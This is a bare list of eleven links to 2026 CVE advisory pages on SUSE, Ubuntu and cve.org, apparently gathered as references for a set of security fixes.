suse.com/security/cve/CVE-2026-116585
suse.com/security/cve/CVE-2026-116586
suse.com/security/cve/CVE-2026-116587
suse.com/security/cve/CVE-2026-78659
suse.com/security/cve/CVE-2026-78660
suse.com/security/cve/CVE-2026-78663
suse.com/security/cve/CVE-2026-78669
suse.com/security/cve/CVE-2026-97032
ubuntu.com/security/CVE-2026-116587
cve.org/CVERecord?id=CVE-2026-116587
suse.com/security/cve/CVE-2026-79699